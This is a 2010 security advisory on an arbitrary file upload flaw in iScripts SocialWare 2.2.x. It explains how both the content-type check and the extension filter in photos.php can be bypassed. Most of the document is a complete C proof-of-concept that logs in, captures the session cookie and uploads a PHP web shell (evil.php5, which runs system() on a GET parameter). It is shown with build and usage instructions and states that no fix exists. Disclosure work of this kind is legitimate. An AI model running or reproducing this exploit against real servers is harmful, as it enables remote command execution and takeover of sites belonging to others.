/*iScripts SocialWare 2.2.x Arbitrary File Upload Vulnerability
Name iScripts SocialWare
Vendor http://www.iscripts.com
Versions Affected 2.2.x
Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-02-07
X. INDEX
I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX
I. ABOUT THE APPLICATION
iScripts SocialWare is an award-winning, easy to use
social networking software that enables you to create
your own social network like MySpace, Orkut, Friendster,
Linkedin, Facebook, Hi5, etc.
II. DESCRIPTION
The arbitrary file upload is possible due to two filters
bypassing.
III. ANALYSIS
Summary:
A) Arbitrary File Upload
A) Arbitrary File Upload
photos.php is affected by an arbitrary file upload
vulnerability. In this script, for each upload, two checks
are executed: one on the content-type and one on the file
extension. The content-type can be bypassed using a
crafted HTTP packet. The file extension filter can be
bypassed using the php5 extension instead of php extension.
The malicious file will be renamed and copied in
member_photos directory, that sometimes has a 777
permission.
Using this vulnerability a user can execute arbitrary php
code.
IV. SAMPLE CODE
A) Arbitrary File Upload
http://www.salvatorefresta.net/files/poc/PoC-iScriptsSW22.c */
/*
Poc Remote Shell Upload - iScripts SocialWare 2.2.x
Author: Salvatore Fresta aka Drosophila
E-mail: salvatorefresta@gmail.com
Date: 02 July 2010
This Proof of Concept will upload a simple php shell (evil.php5)
in member_photos.
Compile on Unix-like systems: gcc PoC-FC213.c -o PoC-FC213
Compile on Microsoft Windows: gcc PoC-FC213.c -lws2_32 -o PoC-FC213
./PoC-FC213 --host hostname --path /path/ -u username -p password
[*] Connecting...
[+] Connected
[*] Login...
[+] Login Successful
[*] Uploading...
[+] Shell uploaded
[+] Connection closed
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>
#include <getopt.h>
#ifdef WIN32
#include <winsock.h>
#define close closesocket
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#endif
int vspr(char **buff, char *fmt, ...) {
va_list ap;
int len,
mlen;
char *ret = NULL;
mlen = strlen(fmt) + 128;
va_start(ap, fmt);
while(1) {
ret = (char *) malloc(mlen);
if(!ret) return -1;
len = vsnprintf(ret, mlen, fmt, ap);
if((len >= 0) && (len < mlen)) break;
mlen = len < 0 ? mlen+128 : len+1;
free(ret);
}
va_end(ap);
*buff = ret;
return len;
}
int socket_connect(char *server, int port) {
int fd;
struct sockaddr_in sock;
struct hostent *host;
#ifdef WIN32
WSADATA wsadata;
if(WSAStartup(MAKEWORD(1,0), &wsadata)) return -1;
#endif
memset(&sock, 0, sizeof(sock));
if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
if(!(host=gethostbyname(server))) return -1;
sock.sin_addr = *((struct in_addr *)host->h_addr);
if(connect(fd, (struct sockaddr *) &sock, sizeof(sock)) < 0) return -1;
return fd;
}
char *socket_receive(int sock, int tout) {
int ret,
byte,
oldpkglen = 0,
pkglen = 0;
char *buffer = NULL,
tmp[128];
struct timeval timeout;
fd_set input;
if(sock < 0) return NULL;
while (1) {
FD_ZERO(&input);
FD_SET(sock, &input);
if(tout > 0) {
timeout.tv_sec = tout;
timeout.tv_usec = 0;
ret = select(sock + 1, &input, NULL, NULL, &timeout);
}
else
ret = select(sock + 1, &input, NULL, NULL, NULL);
if (!ret) break;
if (ret < 0) return NULL;
byte = recv(sock, tmp, sizeof(tmp), 0);
if(byte < 0) return NULL;
if(!byte) break;
oldpkglen = pkglen;
pkglen += byte;
buffer = (char *) realloc(buffer, pkglen+1);
if(!buffer) return NULL;
memcpy(buffer+oldpkglen, tmp, byte);
}
if(buffer) buffer[pkglen] = 0;
return buffer;
}
void usage(char *cmd) {
printf("\nPoC Remote Shell Upload - iScripts SocialWare 2.2.x\n"
"Written by Salvatore Fresta\n\n"
"usage: %s [options]\n"
"\n"
"Required options:\n"
"\n"
"\t--host : Target hostname\n"
"\t--port : Remote TCP Port (default 80)\n"
"\t--path : Webserver path (ex: /path/ or /)\n"
"\t--username : Registered username\n"
"\t--password : Password for username\n\n"
"Example: %s --host localhost --path /path/ -u mario@mail.net -p rossi\n\n", cmd, cmd);
}
int main(int argc, char *argv[]) {
int sd,
option,
optidx,
port = 80,
clen,
pkglen;
char *buffer = NULL,
*rec = NULL,
*session = NULL,
*host = NULL,
*path = NULL,
*user = NULL,
*passwd = NULL,
code[] = "--AaB03x\r\n"
"Content-Disposition: form-data; name=\"photo\"; filename=\"evil.php5\"\r\n"
"Content-Type: image/jpeg\r\n"
"\r\n"
"<?php echo \"<pre>\"; system($_GET[cmd]); echo \"</pre>\"?>\r\n"
"--AaB03x\r\n"
"Content-Disposition: form-data; name=\"Call\"\r\n"
"\r\n"
"add\r\n"
"--AaB03x\r\n"
"Content-Disposition: form-data; name=\"photoType\"\r\n"
"\r\n"
"P\r\n"
"--AaB03x\r\n"
"Content-Disposition: form-data; name=\"image.x\"\r\n"
"\r\n"
"8\r\n"
"--AaB03x\r\n"
"Content-Disposition: form-data; name=\"image.y\"\r\n"
"\r\n"
"5\r\n"
"--AaB03x--\r\n";
struct option long_options[] = {
{"host", 1, 0, 1 },
{"port", 1, 0, 2 },
{"path", 1, 0, 3 },
{"username", 1, 0, 'u'},
{"password", 1, 0, 'p'},
{NULL, 0, 0, 0 },
};
if(argc < 2) {
usage(argv[0]);
return -1;
}
while((option = getopt_long(argc, argv, "u:p:", long_options, &optidx)) > 0) {
switch(option) {
case 1:
host = optarg;
break;
case 2:
port = atoi(optarg);
break;
case 3:
path = optarg;
break;
case 'u':
user = optarg;
break;
case 'p':
passwd = optarg;
break;
default:
usage(argv[0]);
return -1;
break;
}
}
if(!host || !path || !user || !passwd || port < 0) {
usage(argv[0]);
return -1;
}
printf("\n[*] Connecting...\n");
if((sd = socket_connect(host, port)) < 0) {
printf("[-] Connection failed!\n\n");
free(buffer);
return -1;
}
printf("[+] Connected"
"\n[*] Login...");
clen = strlen(user)+strlen(passwd)+16;
pkglen = vspr(&buffer, "POST %scheck_login.php HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %d\r\n"
"\r\n"
"email=%s&password=%s", path, host, clen, user, passwd);
if(send(sd, buffer, pkglen, 0) < 0) {
printf("[-] Sending failed!\n\n");
free(buffer);
close(sd);
return -1;
}
if(!(rec = socket_receive(sd, 0))) {
printf("[-] Receive failed!\n\n");
free(buffer);
close(sd);
return -1;
}
if(strstr(rec, "Password is invalid")) {
printf("\n[-] Login Incorrect!\n\n");
free(buffer);
close(sd);
return -1;
}
session = strstr(rec, "PHPSESSID");
if(!session) {
printf("\n[-] Session error!\n\n");
free(buffer);
close(sd);
return -1;
}
session = strtok(session, ";");
if(!session) {
printf("\n[-] Session error!\n\n");
free(buffer);
close(sd);
return -1;
}
printf("\n[+] Login Successful"
"\n[*] Uploading...\n");
close(sd);
if((sd = socket_connect(host, port)) < 0) {
printf("[-] Connection failed!\n\n");
free(buffer);
return -1;
}
free(buffer);
clen = strlen(code);
pkglen = vspr(&buffer, "POST %spopups/photos.php HTTP/1.1\r\n"
"Host: %s\r\n"
"Cookie: %s\r\n"
"Content-type: multipart/form-data, boundary=AaB03x\r\n"
"Content-Length: %d\r\n"
"\r\n"
"%s", path, host, session, clen, code);
if(send(sd, buffer, pkglen, 0) < 0) {
printf("[-] Sending failed!\n\n");
free(buffer);
close(sd);
return -1;
}
if(!(rec = socket_receive(sd, 3))) {
printf("[-] Receive failed!\n\n");
free(buffer);
close(sd);
return -1;
}
if(!strstr(rec, "evil.php5")) {
printf("\n[-] Upload failed!\n\n");
free(buffer);
close(sd);
return -1;
}
free(buffer);
close(sd);
printf("[+] Shell uploaded"
"\n[+] Connection closed\n\n");
return 0;
}
/*
V. FIX
No Fix.
*/
